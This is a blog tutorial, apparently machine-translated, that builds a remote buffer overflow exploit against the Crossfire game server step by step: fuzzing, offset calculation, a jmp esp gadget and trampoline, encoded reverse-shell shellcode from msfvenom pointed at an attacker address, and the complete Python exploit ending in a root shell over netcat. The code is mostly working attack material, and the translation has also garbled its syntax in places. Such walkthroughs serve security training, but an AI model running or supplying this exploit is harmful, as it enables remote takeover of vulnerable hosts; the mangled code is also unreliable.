Buffer Overflow Linux


Fuzzing

For this first part, we have the following POC:
#!/usr/bin/python 
import socket 

host = "192.168.1.X"
crash = "\x41" * 4379
buffer = "\x11(setup sound " + crash + "\x90\x00#"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

print "[*]Sending evil buffer..." 
s.connect((host,13327))
s.send(buffer)
data=s.recv(1024)
print data 
s.close()
print "[*]Payload Sent!"


The resource can be found in the following link. We adapt the exploit a bit to our needs:
#!/usr/bin/python 
import socket, sys
from struct import pack
from time import sleep

if len(sys.argv) != 2:
print "\nUso: python" + sys.argv[0] + " <direccionIP>\n"
sys.exit(0)

host = sys.argv[1]
port = 13327
crash = "\x41" * 4379 
buffer = "\x11(setup sound " + crash + "\x90\x00#" 

try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
print "[*] Sending buffer..." 
s.connect((host,port))
s.send(buffer)
data=s.recv(1024)
print data 
s.close()
print "[*] Payload Send!" 
except:
print "\nError reconecting...\n"
sys.exit(0)

For this case, they give us a PoC with the calculated offset. Interestingly, in this case, if we exceed the size of the buffer, the program will crash in another way, so it is important to keep this figure fixed and for any operation that we do have the sizes well calculated.

To begin, we start ** edb ** with the program running, as follows:
$ ~ edb --run / usr / games / crossfire / bin / crossfire

Press the F9 key 2 times and send the buffer from the console. From edb , we can see the following response:
The debugged application encountered a segmentation fault.
The address 0x41414141 does not appear to be mapped.

Which is great, because we are overwriting the EIP record, as we can see later from the Registers section of the application. At this point, we calculate the Offset below in order to corroborate if we can indeed take control of the EIP , sending 4 bytes corresponding to character B later.

Calculating the Offset in Linux

The procedure is actually the same as in Windows, only I refer to it like this in the title so that the direct link from the Index does not cause problems.
We will use again the pattern_create and pattern_offset of Metasploit. Since we know that for the moment the value with which we are going to work is 4379 , we will keep this fixed figure, otherwise the program will remember that it will crash in another way:
┌─ [root@parrot] ─ [/ ​home/zerocool/Desktop/BoF]
└──╼ # /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 4379
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af.....

We take the result and add it to our script:
#! / usr / bin / python 
import  socket , sys
from  struct  import  pack 
from  time  import  sleep

if  len ( sys . argv ) ! =  2 :
print  " \ n Usage: python"     sys . argv [ 0 ]    "<IPaddress> \ n " 
sys . exit ( 0 )

host  =  sys . argv [ 1 ]
 port  =  13327
# Total bytes: 4379 
crash  = "***Pattern create*** "
buffer  =  " \ x11 (setup sound"     crash     " \ x90 \ x00 #" 

try :
s  =  socket . socket ( socket . AF_INET , socket . SOCK_STREAM )
print  "[*] Sending buffer ..."  
s . connect (( host , port ))
s . send ( buffer )
data = s . recv ( 1024 )
print  data  
s . close ()
print  "[*] Payload Sent!"
except :
print  " \ n Error connecting to service ... \ n " 
sys . exit ( 0 )

Taking these values ​​that have overwritten the EIP , we calculate the Offset:
┌─ [root@parrot] ─ [/​​home/zerocool/Desktop/BoF]
└──╼ # /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 46367046 
[ * ] Exact match at offset 4368

Knowing that its value is 4368, we mount the following PoC to confirm that we take control of the EIP :
#! / usr / bin / python 
import  socket , sys
from  struct  import  pack 
from  time  import  sleep

if  len ( sys . argv ) ! =  2 :
print  " \ n Usage: python"  +  sys . argv [ 0 ] +  "<IPaddress> \ n " 
sys . exit ( 0 )

host  =  sys . argv [ 1 ]
 port  =  13327
# Total bytes: 4379 
crash  =  "A" * 4368  +  "B" * 4  +  "C" * ( 4379 - 4368 - 4 )
buffer  =  " \ x11 (setup sound"  +  crash  +  " \ x90 \ x00 #" 

try :
s  =  socket . socket ( socket . AF_INET , socket . SOCK_STREAM )
print  "[*] Sending buffer ..."  
s . connect (( host , port ))
s . send ( buffer )
data = s . recv ( 1024 )
print  data  
s . close ()
print  "[*] Payload Sent!"  
except :
print  " \ n Error connecting to service ... \ n " 
sys . exit ( 0 )

Obviously, we fill with the character C in order to reach 4379 bytes. We get the following response from edb after sending our Buffer:
The debugged application encountered a segmentation fault.
The address 0x42424242 does not appear to be mapped.

If you would like to pass this exception to the application press Shift + [F7 / F8 / F9]

Since we see that we are taking control of the EIP, the idea in this case is to analyze the registers in order to know where to place our Shellcode.

Register Enumeration

At this point, since we know that the total accepted size before the program crashes in another way is 4379 , we take into consideration that we send 4368 from the buffer and after overwriting the EIP we add 4 bytes, leaving a total of 7 bytes to generate our instructions.
This 7-byte margin, as we can guess, has a very small space to set our Shellcode, which means that we have to jump to another register where we can place our Payload without inconvenience (it is a technique). If we look at the EAX register , once the buffer overflow occurs, we see that it points right to the beginning of our Buffer:
EAX: setup sound AAAAAAAAAAAAAAAA...

If we remember, we can remember that the buffer we send has an acceptable size of 4368 bytes, which means that we have plenty of space to place our Shellcode. It would not be a problem to jump to the EAX register , but for this we must bear in mind that after the overflow occurs, our characters that will be converted to Opcodes will begin to be located in the ESP register , which means that we must first look for an address in memory with execution permissions so that from the EIP a jump is applied to the ESP register and subsequently from here to the EAX register .
We will run into a problem after jumping to the EAX registry , but we will address that later.

JMP ESP Opcode

Let's remember that we have a 7-byte margin to define our instructions, where one of them is the jump to the EAX register that we intend to do to later place our Shellcode.
The first thing will be to make the EIP record point to ESP , where we will later insert our Opcodes. To do this, from edb , we can press the Ctrl + O key for the Opcode Searcher after the overflow occurs .
Once opened, we select the address of the crossfire binary that has execution permissions, selecting the jump ESP -> EIP from the drop-down list We click on Find and wait for the program to find the addresses where the jump to the ESP register is made .
We find the following:
0x08134596: jmp esp

As expected, our EIP registry will take that value in Little Endian format :
#! / usr / bin / python 
import  socket , sys
from  struct  import  pack 
from  time  import  sleep

if  len ( sys . argv ) ! =  2 :
print  " \ n Usage: python"  +  sys . argv [ 0 ] +  "<IPaddress> \ n " 
sys . exit ( 0 )

host  =  sys . argv [ 1 ]
 port  =  13327
# Total bytes: 4379 
crash  =  "A" * 4368  +  pack ( '<L' , 0x08134596 ) +  "C" * ( 4379 - 4368 - 4 )
buffer  =  " \ x11 (setup sound"  +  crash  +  " \ x90 \ x00 #" 

try :
s  =  socket . socket ( socket . AF_INET , socket . SOCK_STREAM 
print  "[*] Sending buffer ..."  
s . connect (( host , port ))
s . send ( buffer )
data = s . recv ( 1024 )
print  data  
s . close ()
print  "[*] Payload Sent!"  
except :
print  " \ n Error connecting to service ... \ n " 
sys . exit ( 0 )

After sending the buffer, if we previously establish breakpoint in the 0x08134596 register with the F2 key , we can see how the application shows that the EIP register points to the address 0x08134596 , corresponding to ESP . Pressing the F8 key , we will advance one instruction per keystroke, where you can see how the following instructions are:
bffs: 4de0 43 inch ebx
bffs: 4de1 43 inch ebx
bffa: 4de2 43 inc ebx
bffa: 4de3 43 inc ebx
bffa: 4de4 43 inc ebx
bffa: 4de5 43 inc ebx
bffa: 4de6 43 inc ebx
Corresponding to the final 7 bytes of margin that we have where at the moment our character C is located .

JMP EAX From ESP

Now that we control the flow of the program and we are in the ESP register , since it only has 7 bytes of margin, we will jump to the EAX register with the aim of depositing our Shellcode later.
A problem arises when jumping to the EAX register , and that is that the string ' setup sound ' is interpreted as Opcode :
73 65 jae 0xb7487a75
74 75 je 0xb7487a87
70 20 jo 0xb7487a34
73 6f jae 0xb7487a85
75 6e jne 0xb7487a86

This can cause inconveniences, since the flow of the program as we see can take jumps to other unwanted directions causing our Shellcode to not be interpreted later.
The string ' setup sound ' occupies 12 bytes (with spaces included), so a smart thing to do from nasm_shell.rb is to apply the following Opcodes:
┌─ [root@parrot] ─ [/​​home/zerocool/Desktop/BoF]
└──╼ # /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb 
nasm > add eax, 12
00000000 83C00C add eax, byte + 0xc
nasm > jmp eax
00000000 FFE0 jmp eax

We move the content of EAX by a margin of 12 bytes , so that in these 3 bytes of instruction the register would be pointing right at the beginning of our buffer (AAAAAAAA ...), later in another 2 bytes we apply a jump to said registry.
The good thing about all this? That in total there are 5 bytes of instruction, and if we remember we had a margin of 7 bytes to carry out our instructions ... therefore, great.
These Opcodes at the end of the day are translated into " \ x83 \ xC0 \ x0C \ xFF \ xE0 ", so that our script would be as represented below:
#! / usr / bin / python 
import  socket , sys
from  struct  import  pack 
from  time  import  sleep

if  len ( sys . argv ) ! =  2 :
print  " \ n Usage: python"  +  sys . argv [ 0 ] +  "<IPaddress> \ n " 
sys . exit ( 0 )

host  =  sys . argv [ 1 ]
 port  =  13327
# Total bytes: 4379 
crash  =  "A" * 4368  +  pack ( '<L' , 0x08134596 ) +  " \ x83 \ xC0 \ x0C \ xFF \ xE0 "  +  " \ x90 \ x90 "
buffer  =  " \ x11 (setup sound"  +  crash  +  " \ x90 \ x00 #" 

try :
s  =  socket . socket ( socket . AF_INET , socket . SOCK_STREAM )
print  "[*] Sending buffer ..."  
s . connect (( host , port ))
s . send ( buffer )
data = s . recv ( 1024 )
print  data  
s . close ()
print  "[*] Payload Sent!"  
except :
print  " \ n Error connecting to service ... \ n " 
sys . exit ( 0 )

Obviously, we add 2 bytes of NOPs to make up the size of 4379 bytes. Now that the flow of the program is going where we want, the idea is to replace our Aes with our Shellcode, taking into consideration that after being encoded by shikata , we will have to add about 16 bytes of margin at the beginning of the register so that our Shellcode can be decoficate.
Don't forget to check the Badchars !, which for this case are " \ x00 \ x0a \ x0d \ x20 ". This step does not need to be detailed, as it is not the most complex that we say and we have already seen it in Windows. Just keep in mind that with the space that we have in the EAX register, we can send the characters in order to analyze which of them give a problem.

Msfvenom Linux Payload

To generate our Shellcode, we apply the following command:
┌─ [root@parrot] ─ [/home/zerocool/Desktop/BoF]
└──╼ # msfvenom -p linux / x86 / shell_reverse_tcp LHOST = 192.168.1.51 LPORT = 443 -a x86 --platform linux -fc -e x86 / shikata_ga_nai -b "\ x00 \ x0a \ x0d \ x20"
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86 / shikata_ga_nai
x86 / shikata_ga_nai succeeded with size 95 (iteration = 0)
x86 / shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
Final size of c file: 425 bytes
unsigned char buf [] = 
" \ xbd \ x85 \ xd3 \ x0b \ xb7 \ xdd \ xc5 \ xd9 \ x74 \ x24 \ xf4 \ x5e \ x29 \ xc9 \ xb1 " 
" \ x12 \ x31 \ x6e \ x12 \ x03 \ x6e \ x12 \ x83 \ x6b \ x2f \ xe9 \ x42 \ x42 \ x0b \ x19 " 
" \ x4f \ xf7 \ xe8 \ xb5 \ xfa \ xf5 \ x67 \ xd8 \ x4b \ x9f \ xba \ x9b \ x3f \ x06 \ xf5 " 
" \ xa3 \ xf2 \ x38 \ xbc \ xa2 \ xf5 \ x50 \ xff \ xfd \ x07 \ x93 \ x97 \ xff \ x07 \ xd2 " 
" \ xdc \ x89 \ xe9 \ x64 \ x44 \ xda \ xb8 \ xd7 \ x3a \ xd9 \ xb3 \ x36 \ xf1 \ x5e \ x91 " 
" \ xd0 \ x64 \ x70 \ x65 \ x48 \ x11 \ xa1 \ xa6 \ xea \ x88 \ x34 \ x5b \ xb8 \ x19 \ xce " 
" \ x7d \ x8c \ x95 \ x1d \ xfd " ;

Finally, considering the size of 95 bytes generated, we prepare our Buffer:
#! / usr / bin / python 
import  socket , sys
from  struct  import  pack 
from  time  import  sleep

if  len ( sys . argv ) ! =  2 :
print  " \ n Usage: python"  +  sys . argv [ 0 ] +  "<IPaddress> \ n " 
sys . exit ( 0 )

host  =  sys . argv [ 1 ]
 port  =  13327

# Shellcode (95 bytes) || msfvenom -p linux / x86 / shell_reverse_tcp LHOST = 192.168.1.51 LPORT = 443 -a x86 --platform linux -fc -e x86 / shikata_ga_nai -b "\ x00 \ x0a \ x0d \ x20" 
shellcode  = ( " \ xbd \ x85 \ xd3 \ x0b \ xb7 \ xdd \ xc5 \ xd9 \ x74 \ x24 \ xf4 \ x5e \ x29 \ xc9 \ xb1 " 
" \ x12 \ x31 \ x6e \ x12 \ x03 \ x6e \ x12 \ x83 \ x6b \ x2f \ xe9 \ x42 \ x42 \ x0b \ x19 " 
" \ x4f \ xf7\ xe8 \ xb5 \ xfa \ xf5 \ x67 \ xd8 \ x4b \ x9f \ xba \ x9b \ x3f \ x06 \ xf5 " 
" \ xa3 \ xf2 \ x38 \ xbc \ xa2 \ xf5 \ x50 \ xff \ xfd \ x07 \ x93 \ x97 \ xff \ x07 \ xd2 " 
" \ xdc \ x89 \ xe9 \ x64 \ x44 \ xda \ xb8 \ xd7 \ x3a \ xd9 \ xb3 \ x36 \ xf1 \ x5e \ x91 " 
" \ xd0 \ x64\ x70 \ x65 \ x48 \ x11 \ xa1 \ xa6 \ xea \ x88 \ x34 \ x5b \ xb8 \ x19 \ xce " 
" \ x7d \ x8c \ x95 \ x1d \ xfd " )

# Total bytes: 4379 
crash  =  " \ x90 " * 16  +  shellcode  +  "A" * ( 4368 - 95 - 16 ) +  pack ( '<L' , 0x08134596 ) +  " \ x83 \ xC0 \ x0C \ xFF \ xE0 "  +  " \ x90 \ x90 "

# 95 bytes 
shellcode  = ( " \ xbd \ x85 \ xd3 \ x0b \ xb7 \ xdd \ xc5 \ xd9 \ x74 \ x24 \ xf4 \ x5e \ x29 \ xc9 \ xb1 " 
" \ x12 \ x31 \ x6e \ x12 \ x03 \ x6e \ x12 \ x83 \ x6b \ x2f \ xe9 \ x42 \ x42 \ x0b \ x19 " 
" \ x4f \ xf7 \ xe8 \ xb5 \ xfa \ xf5 \ x67 \ xd8 \ x4b \ x9f \ xba \ x9b\ x3f \ x06 \ xf5 " 
" \ xa3 \ xf2 \ x38 \ xbc \ xa2 \ xf5 \ x50 \ xff \ xfd \ x07 \ x93 \ x97 \ xff \ x07 \ xd2 " 
" \ xdc \ x89 \ xe9 \ x64 \ x44 \ xda \ xb8 \ xd7 \ x3a \ xd9 \ xb3 \ x36 \ xf1 \ x5e \ x91 " 
" \ xd0 \ x64 \ x70 \ x65 \ x48 \ x11 \ xa1 \ xa6 \ xea \ x88 \ x34 \ x5b\ xb8 \ x19 \ xce " 
" \ x7d \ x8c \ x95 \ x1d \ xfd " )

buffer  =  " \ x11 (setup sound"  +  crash  +  " \ x90 \ x00 #" 

try :
s  =  socket . socket ( socket . AF_INET , socket . SOCK_STREAM )
print  "[*] Sending buffer ..." 
sleep ( 5 )
s . connect (( host , port ))
s . send ( buffer )
data = s . recv ( 1024 )
print  data  
s . close ()
print  "[*] Payload Sent!"  
except :
print  " \ n Error connecting to service ... \ n " 
sys . exit ( 0)

Gaining Access to the System

Finally , we close edb , we run the program normally, we send the buffer and previously listening from Netcat on port 443, we gain access to the system:
┌─ [root@parrot] ─ [/ ​home/zerocool]
└──╼ # nc -nlvp 443
Ncat: Version 7.70 (https://nmap.org/ncat)
Ncat: Listening on ::: 443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 192.168.1.81.
Ncat: Connection from 192.168.1.81:55272.
script / dev / null -c bash
Script started, file is / dev / null
root @ kali: / root # whoami
whoami
root
root @ kali: / root #

Comments here, cracks!

Post a Comment

Comments here, cracks!

Post a Comment (0)

Previous Post Next Post